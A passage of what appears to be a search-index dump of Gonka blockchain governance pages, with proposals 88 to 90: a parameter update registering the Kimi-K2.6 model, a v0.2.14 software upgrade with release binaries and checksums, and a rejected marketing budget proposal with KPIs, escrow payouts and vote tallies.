\"gonka1r2s0rwgskp6y4ed7qr7d25qdwjwlvpp6demv90\",\n \"gonka1ls8wqecwj369du8s2t9a223xu9sgvmzlw2ye9c\",\n \"gonka10wmset95nhgfjt4wklsyjqpx55m40zy3gha2pn\",\n \"gonka17ld2g62230w0erzexefzw03sw0adtuchr425rp\"\n ],\n \"token_price\": \"10\",\n \"approved_versions\": [\n {\n \"name\": \"v1\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13-devshard-v1/devshardd.zip\",\n \"sha256\": \"dad6f1b97843816c0a33874b89ac403e48b54fe3aa1a0fdccb228d89d2a5594c\"\n },\n {\n \"name\": \"v2\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fdevshard%2Fv2.0.0/devshardd.zip\",\n \"sha256\": \"1a3b58bd0ac20dbb8baa68b1bf6c80516ca3c0f4d39e06160d07613ec1b1340b\"\n },\n {\n \"name\": \"v3\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13-devshard-v3.0.0/devshardd.zip\",\n \"sha256\": \"ca1294fc8db3f0907a01f362eb4b13665f66d0fd12cfc6f01468b1e27f0bab63\"\n }\n ],\n \"max_nonce\": 1000000,\n \"devshard_requests_enabled\": true,\n \"default_inference_seal_grace_nonces\": 0,\n \"default_inference_seal_grace_seconds\": 0,\n \"create_devshard_fee\": \"0\",\n \"fee_per_nonce\": \"0\",\n \"refusal_timeout\": \"0\",\n \"execution_timeout\": \"0\",\n \"validation_rate\": 0,\n \"vote_threshold_factor\": 0,\n \"default_auto_seal_every_n_nonces\": 0\n },\n \"fee_params\": {\n \"min_gas_price_ngonka\": \"0\",\n \"base_validation_gas\": \"500000\",\n \"gas_per_poc_count\": \"100\"\n },\n \"delegation_params\": {\n \"deploy_window\": \"500\",\n \"refusal_penalty\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"no_participation_penalty\": {\n \"value\": \"15\",\n \"exponent\": -2\n },\n \"delegation_share\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"w_threshold\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"v_min\": \"3\",\n \"cap_factor\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"initial_model_id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"max_model_voting_power_percentage\": {\n \"value\": \"3\",\n \"exponent\": -1\n }\n },\n \"maintenance_params\": null\n }\n },\n {\n \"@type\": \"/inference.inference.MsgDeleteGovernanceModel\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"id\": \"moonshotai/Kimi-K2.6\"\n }\n]\nPassed
Proposal ID: 88
Type: Register Model, Update Params
Submit: 2026-07-16 18:09 UTC
Voting: 2026-07-16 18:09 UTC → 2026-07-17 06:09 UTC
Expedited: Yes
Proposer: gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le
View on gonka.gg
Update current chain params to register moonshotai/Kimi-K2.6 in the governance model list and remove approved_versions v1, v2 from devshard_escrow_params (to reduce RAM usage).
"}, {"location": "proposals/proposals/2026-q3/88/#final-tally", "title": "Final Tally", "text": "Yes 272,063 (99.8%) No 543 (0.2%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 272,606 votes ✓ Turnout 272,606 / 563,910 (48.3%) · Quorum 25% (140,977)"}, {"location": "proposals/proposals/2026-q3/88/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams 2 /inference.inference.MsgRegisterModel Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"35\",\n \"poc_exchange_duration\": \"0\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"240\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"2\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"confirmation_poc_safety_window\": \"500\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"150\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"bad_participant_invalidation_rate\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"invalidation_h_threshold\": {\n \"value\": \"4\",\n \"exponent\": 0\n },\n \"downtime_good_percentage\": {\n \"value\": \"98\",\n \"exponent\": -2\n },\n \"downtime_bad_percentage\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"downtime_h_threshold\": {\n \"value\": \"1\",\n \"exponent\": 2\n },\n \"downtime_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"quick_failure_threshold\": {\n \"value\": \"1\",\n \"exponent\": -6\n },\n \"binom_test_p0\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"processed_logprobs\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": null,\n \"model_params\": null,\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": true,\n \"confirmation_poc_v2_enabled\": true,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": true,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [\n {\n \"model_id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"3024\",\n \"exponent\": -4\n },\n \"penalty_start_epoch\": \"278\"\n },\n {\n \"model_id\": \"moonshotai/Kimi-K2.6\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"945\",\n \"exponent\": -3\n },\n \"penalty_start_epoch\": \"332\"\n },\n {\n \"model_id\": \"zai-org/GLM-5.2-FP8\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"45\",\n \"exponent\": -2\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"25935\",\n \"exponent\": -4\n },\n \"penalty_start_epoch\": \"500\"\n }\n ],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"100\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 1,\n \"max_inferences_per_block\": \"1000\"\n },\n \"confirmation_poc_params\": {\n \"expected_confirmations_per_epoch\": \"4\",\n \"alpha_threshold\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"slash_fraction\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"upgrade_protection_window\": \"500\"\n },\n \"genesis_guardian_params\": {\n \"network_maturity_threshold\": \"15000000\",\n \"network_maturity_min_height\": \"3000000\",\n \"guardian_addresses\": [\n \"gonkavaloper1y2a9p56kv044327uycmqdexl7zs82fs5lyang5\",\n \"gonkavaloper1dkl4mah5erqggvhqkpc8j3qs5tyuetgdc59d0v\",\n \"gonkavaloper1kx9mca3xm8u8ypzfuhmxey66u0ufxhs70mtf0e\"\n ]\n },\n \"developer_access_params\": {\n \"until_block_height\": \"2459367\",\n \"allowed_developer_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d\",\n \"gonka1x7zh2277spp7jfqjhv0g5mnezg290xdr4kpfnk\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1khca2ht3m0nvpfghrxwgvnmj74t0sx6qzc2edd\"\n ]\n },\n \"participant_access_params\": {\n \"new_participant_registration_start_height\": \"2475000\",\n \"blocked_participant_addresses\": [\n \"gonka1blockedxxxxxxxxxxxxxxxxxxxxxx\"\n ],\n \"use_participant_allowlist\": true,\n \"participant_allowlist_until_block_height\": \"2475000\"\n },\n \"transfer_agent_access_params\": {\n \"allowed_transfer_addresses\": [\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\"\n ]\n },\n \"devshard_escrow_params\": {\n \"min_amount\": \"50000000\",\n \"max_amount\": \"100000000000\",\n \"max_escrows_per_epoch\": 500000,\n \"group_size\": 16,\n \"allowed_creator_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka1sy7ug80wrnm6gk47creak0j5eagjpf7maqcqwk\",\n \"gonka1w66aw6jayepglwgz66qtunetr5nyw9ls7evq5g\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1r2s0rwgskp6y4ed7qr7d25qdwjwlvpp6demv90\",\n \"gonka1ls8wqecwj369du8s2t9a223xu9sgvmzlw2ye9c\",\n \"gonka10wmset95nhgfjt4wklsyjqpx55m40zy3gha2pn\",\n \"gonka17ld2g62230w0erzexefzw03sw0adtuchr425rp\"\n ],\n \"token_price\": \"10\",\n \"approved_versions\": [\n {\n \"name\": \"v3\",\n \"binary\": \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.13-devshard-v3.0.0/devshardd.zip\",\n \"sha256\": \"ca1294fc8db3f0907a01f362eb4b13665f66d0fd12cfc6f01468b1e27f0bab63\"\n }\n ],\n \"max_nonce\": 1000000,\n \"devshard_requests_enabled\": true,\n \"default_inference_seal_grace_nonces\": 0,\n \"default_inference_seal_grace_seconds\": 0,\n \"create_devshard_fee\": \"0\",\n \"fee_per_nonce\": \"0\",\n \"refusal_timeout\": \"0\",\n \"execution_timeout\": \"0\",\n \"validation_rate\": 0,\n \"vote_threshold_factor\": 0,\n \"default_auto_seal_every_n_nonces\": 0\n },\n \"fee_params\": {\n \"min_gas_price_ngonka\": \"0\",\n \"base_validation_gas\": \"500000\",\n \"gas_per_poc_count\": \"100\"\n },\n \"delegation_params\": {\n \"deploy_window\": \"500\",\n \"refusal_penalty\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"no_participation_penalty\": {\n \"value\": \"15\",\n \"exponent\": -2\n },\n \"delegation_share\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"w_threshold\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"v_min\": \"3\",\n \"cap_factor\": {\n \"value\": \"75\",\n \"exponent\": -2\n },\n \"initial_model_id\": \"MiniMaxAI/MiniMax-M2.7\",\n \"max_model_voting_power_percentage\": {\n \"value\": \"3\",\n \"exponent\": -1\n }\n },\n \"maintenance_params\": null\n }\n },\n {\n \"@type\": \"/inference.inference.MsgRegisterModel\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"proposed_by\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"id\": \"moonshotai/Kimi-K2.6\",\n \"units_of_compute_per_token\": \"10000\",\n \"hf_repo\": \"moonshotai/Kimi-K2.6\",\n \"hf_commit\": \"5a49d036ab7472b7d5912ded487150ec1358c11d\",\n \"model_args\": [\n \"--enable-auto-tool-choice\",\n \"--max-model-len\",\n \"240000\",\n \"--tool-call-parser\",\n \"kimi_k2\",\n \"--reasoning-parser\",\n \"kimi_k2\"\n ],\n \"v_ram\": \"720\",\n \"throughput_per_nonce\": \"1500\",\n \"validation_threshold\": {\n \"value\": \"900\",\n \"exponent\": -3\n }\n }\n]\nPassed
Proposal ID: 89
Type: Software Upgrade
Submit: 2026-07-21 00:02 UTC
Voting: 2026-07-21 00:02 UTC → 2026-07-23 00:02 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/upgrade-v0.2.14/proposals/governance-artifacts/update-v0.2.14/README.md
View on gonka.gg
Upgrade Proposal: v0.2.14
"}, {"location": "proposals/proposals/2026-q3/89/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q3/89/#upgrade-proposal-v0214", "title": "Upgrade Proposal: v0.2.14", "text": "This PR prepares the v0.2.14 release.
The mainnet chain/API work focuses on PoC duplicate-artifact protection, early share detection, classic inference API deprecation (disabling /v1/chat/completions billing on mainnet and removing embedded /v1/devshard from the API binary), reward recipient routing, and upgrade-time safety fixes.
The devshard part prepares the v3 runtime so brokers can serve inference during the chain upgrade without depending on the deprecated classic API path, improving RAM utilization and enabling safe switching between SQLite and Postgres storage.
"}, {"location": "proposals/proposals/2026-q3/89/#upgrade-plan", "title": "Upgrade Plan", "text": "The node binary is upgraded through an on-chain software upgrade proposal. Existing hosts are not required to manually update their api or node containers as part of the upgrade.
A separate devshard v3 release from this branch will be proposed and rolled out before the mainnet chain upgrade. Brokers who switch inference traffic to /devshard/v3 ahead of time can keep serving inference while the chain upgrade runs.
/devshard/v3.9a63468, 22a21b0 by @gmorgachev, @DimaOrekhovPS, @0xMayoor.devshardd to continue serving during DAPI outages using an ML-node cache, add per-escrow SQLite/Postgres storage routing, and snapshot validation_rate at escrow creation #1417 by @akup.The devshard v3 runtime was deployed and verified first. During testing, node and api containers were stopped while devshard traffic was running; active requests were allowed to finish, and new requests were successfully created and executed through /devshard/v3.
After devshard v3 validation, the mainnet-style upgrade from v0.2.13 to v0.2.14 was tested.
/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.14\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"5195700\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.14/inferenced-amd64.zip?checksum=sha256:ce857ef90deb899c03d78dee01493e544bf8b7ddf8b452e75b3b010b80a8b046\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.14/decentralized-api-amd64.zip?checksum=sha256:4326a27913a05435e37cd5fa9e3d0cf5271351799f8b01b842e049a733976c87\\\"\\n }\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis PR prepares the v0.2.14 release.
The mainnet chain/API work focuses on PoC duplicate-artifact protection, early share detection, classic inference API deprecation (disabling /v1/chat/completions billing on mainnet and removing embedded /v1/devshard from the API binary), reward recipient routing, and upgrade-time safety fixes.
The devshard part prepares the v3 runtime so brokers can serve inference during the chain upgrade without depending on the deprecated classic API path, improving RAM utilization and enabling safe switching between SQLite and Postgres storage.
"}, {"location": "proposals/proposals/2026-q3/89/full-proposal/#upgrade-plan", "title": "Upgrade Plan", "text": "The node binary is upgraded through an on-chain software upgrade proposal. Existing hosts are not required to manually update their api or node containers as part of the upgrade.
A separate devshard v3 release from this branch will be proposed and rolled out before the mainnet chain upgrade. Brokers who switch inference traffic to /devshard/v3 ahead of time can keep serving inference while the chain upgrade runs.
/devshard/v3.9a63468, 22a21b0 by @gmorgachev, @DimaOrekhovPS, @0xMayoor.devshardd to continue serving during DAPI outages using an ML-node cache, add per-escrow SQLite/Postgres storage routing, and snapshot validation_rate at escrow creation #1417 by @akup.The devshard v3 runtime was deployed and verified first. During testing, node and api containers were stopped while devshard traffic was running; active requests were allowed to finish, and new requests were successfully created and executed through /devshard/v3.
After devshard v3 validation, the mainnet-style upgrade from v0.2.13 to v0.2.14 was tested.
Rejected
Proposal ID: 90
Type: Community Pool Spend, Execute Contract, Instantiate Contract2
Submit: 2026-07-21 15:27 UTC
Voting: 2026-07-21 15:27 UTC → 2026-07-23 15:27 UTC
Proposer: gonka1vfafh4jq674227q8j0h33fwz4jmgtxmp4vsd93
Metadata: https://app.integrity.sh/p/NLgLEHfL8Msoz0nh2-_Tf
Failed reason: proposal did not get enough votes to pass
240,000 GNK · $57,000 · Community PoolView on gonka.gg
Currently Gonka has a lot of marketing activities, but doesn't have analytics to measure the results of their work and doesn't have a vision which target audiences and how we need to attract and onboard.
This proposal describes key activities to set analytics, bisdev target audiences and search for best of their acquisition by hundreds of cheap experiments; the team and the budgets for the next 3 months. The full proposal: https://app.integrity.sh/p/NLgLEHfL8Msoz0nh2-_Tf
The budget of 240K GNK and 57K USDT is held by an immutable escrow contract and released as: 1. Day 0 — payment of 19K USDT and 60K GNK 2. Day 31 — payment of 19K USDT and 60K GNK 3. Day 62 — payment of 19K USDT and 60K GNK 4. Day 99 — payment of 60K GNK
Governance may cancel the initiative at any time, in which case all remaining payments will be terminated, for example if KPIs are not achieved. We use contract described in https://github.com/paranjko/testlab-devnet-escrow/tree/1b2e529876141816b5c2130840d04fb93694bf72 (that Sega used in https://gonka.vote/governance/82)
+-------------------------------+-------------------+-------------------+-------------------+ | KPIs | Until day 31 | Until day 62 | Until day 99 | +-------------------------------+-------------------+-------------------+-------------------+ | Partnerships and pilots with | 1-2 | 3-5 | 7-15 | | inference resellers | | | | +-------------------------------+-------------------+-------------------+-------------------+ | OpenRouter-size comparable | selection and | discussions | 1-3 pilots | | partnerships | letters | | started | +-------------------------------+-------------------+-------------------+-------------------+ | Interviews with competitors | 3-5 | 5-7 | 10-15 | | marketers | | | | +-------------------------------+-------------------+-------------------+-------------------+ | New non-ru Gonka users in our | 100-500 | 300-1500 | 1000-5000 | | communities | (~ 10% paid) | (~ 15% paid) | (~ 20% paid) | +-------------------------------+-------------------+-------------------+-------------------+ | Posts in relevant communities | 100-200 | 200-500 | 300-800 | | (1K-100K subscribers) | | | | +-------------------------------+-------------------+-------------------+-------------------+ | Collaborations with | 10-30 | 25-80 | 40-150 | | microinfluencers (AI / Agents | | | | | creators with 500-10K | | | | | subscribers) | | | | +-------------------------------+-------------------+-------------------+-------------------+ | Local meetups | 1-2 | 2-5 | 5-10 | +-------------------------------+-------------------+-------------------+-------------------+ | Offers x Languages x | 50-100 | 80-200 | 100-300 | | Onboardings (landings) tested | | | | +-------------------------------+-------------------+-------------------+-------------------+ | Public use cases | 1-2 | 3-5 | 10-15 of various | | | | | usage types | +-------------------------------+-------------------+-------------------+-------------------+ | Analytics | set with ready | 10-15 key Gonka | 10-30 key Gonka | | | dashboards; 3-8 | services are | services are | | | key Gonka | connected | connected | | | services | | | | | connected | | | +-------------------------------+-------------------+-------------------+-------------------+ | Reports and AMAs every 2 | 2 | 4 | 6 + final | | weeks | | | | +-------------------------------+-------------------+-------------------+-------------------+
"}, {"location": "proposals/proposals/2026-q3/90/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2026-q3/90/#partnerships-with-inference-resellers-b2c-users-acquisition-and-conversion-funnels-analytics-setup", "title": "Partnerships with Inference Resellers, B2C users acquisition and conversion funnels analytics setup", "text": "Currently Gonka has a lot of marketing activities, but doesn't have analytics to measure the results of their work and doesn't have a vision which target audiences and how we need to attract and onboard.
This proposal describes key activities to set analytics, bisdev target audiences and search for best of their acquisition by hundreds of cheap experiments; the team and the budgets for the next 3 months. It's a part of activities we've planned and described in detail here.
"}, {"location": "proposals/proposals/2026-q3/90/#budget", "title": "Budget", "text": "Activity Cost GNK Cost USDT Key executives Build marketing analytics across Inference Brokers, Wallets, and other services in the Gonka ecosystem: who, from which channel, usage funnel 60K GNK 6K USDT Viktor Partnerships with inference resellers (Openrouter competitors) and other B2Bs meaningful for Gonka 90K GNK 18K USDT Dima + Alex + Viktor Agent vibecoders, startupers, developers and other B2C users acquisition leveraging partnerships with communities, influencers, meetups and other cheap activities targeting mostly English, Spanish and other non-Ru users 90K GNK 18K USDT Viktor + Ian + Alex United costs: other tools, infrastructure, development, emails, linked-in, external agencies 0K GNK 15K USDT Viktor + Dima Total 240K GNK 57K USDTHundreds of collaborations with communities, influencers and inference resellers; onboarding landing pages and cases collection activities; consistent and transparent work with hypotheses of target audiences, channels, offers, and formats; competitors analysis including outreach to their marketers collecting their Insights — are also included.
Part of the acquired traffic will be distributed between random services, part — between those who work the best.
"}, {"location": "proposals/proposals/2026-q3/90/#payments-and-timeline", "title": "Payments and Timeline", "text": "Our offer is a selection of the cheapest ways to broadly research potential Gonka target audiences — by testing various offer formats, calling to use Gonka's low-cost AI inference and join Gonka.
We will not sell GNK by ourselves at least during the 6-month period and we will organize vesting-like payments for the other contributors.
Governance may cancel the initiative at any time, in which case all remaining payments will be terminated, for example if KPIs are not achieved. We use contract described in testlab-devnet-escrow (that Sega used in proposal 82).
"}, {"location": "proposals/proposals/2026-q3/90/#team", "title": "Team", "text": "Voting: https://gonka.vote/governance/90
"}, {"location": "proposals/proposals/2026-q3/90/#final-tally", "title": "Final Tally", "text": "Yes 190,646 (57.3%) No 6,269 (1.9%) Veto 133,354 (40.1%) Abstain 2,324 (0.7%) Total 332,593 votes ✓ Turnout 332,593 / 569,511 (58.4%) · Quorum 25% (142,377)"}, {"location": "proposals/proposals/2026-q3/90/#messages", "title": "Messages", "text": "# Type 1/cosmwasm.wasm.v1.MsgInstantiateContract2 2 /cosmos.distribution.v1beta1.MsgCommunityPoolSpend 3 /cosmwasm.wasm.v1.MsgExecuteContract Contract Details [\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgInstantiateContract2\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"admin\": \"\",\n \"code_id\": \"107\",\n \"label\": \"go-to-market-team-milestone-escrow\",\n \"msg\": {\n \"governance\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"payouts\": [\n {\n \"recipient\": \"gonka1zhcn5yz86z0jlsyzm9xkkhx6km5p8a4apw9rsj\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 0\n },\n {\n \"recipient\": \"gonka1zhcn5yz86z0jlsyzm9xkkhx6km5p8a4apw9rsj\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 31\n },\n {\n \"recipient\": \"gonka1zhcn5yz86z0jlsyzm9xkkhx6km5p8a4apw9rsj\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 62\n },\n {\n \"recipient\": \"gonka1zhcn5yz86z0jlsyzm9xkkhx6km5p8a4apw9rsj\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 99\n },\n {\n \"recipient\": \"gonka15at6rrk3tspus7mu0t2yg26r4guq7sqkpq3wf4\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 0\n },\n {\n \"recipient\": \"gonka15at6rrk3tspus7mu0t2yg26r4guq7sqkpq3wf4\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 31\n },\n {\n \"recipient\": \"gonka15at6rrk3tspus7mu0t2yg26r4guq7sqkpq3wf4\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 62\n },\n {\n \"recipient\": \"gonka15at6rrk3tspus7mu0t2yg26r4guq7sqkpq3wf4\",\n \"denom\": \"ngonka\",\n \"amount\": \"30000000000000\",\n \"unlock_after_days\": 99\n },\n {\n \"recipient\": \"gonka1zhcn5yz86z0jlsyzm9xkkhx6km5p8a4apw9rsj\",\n \"denom\": 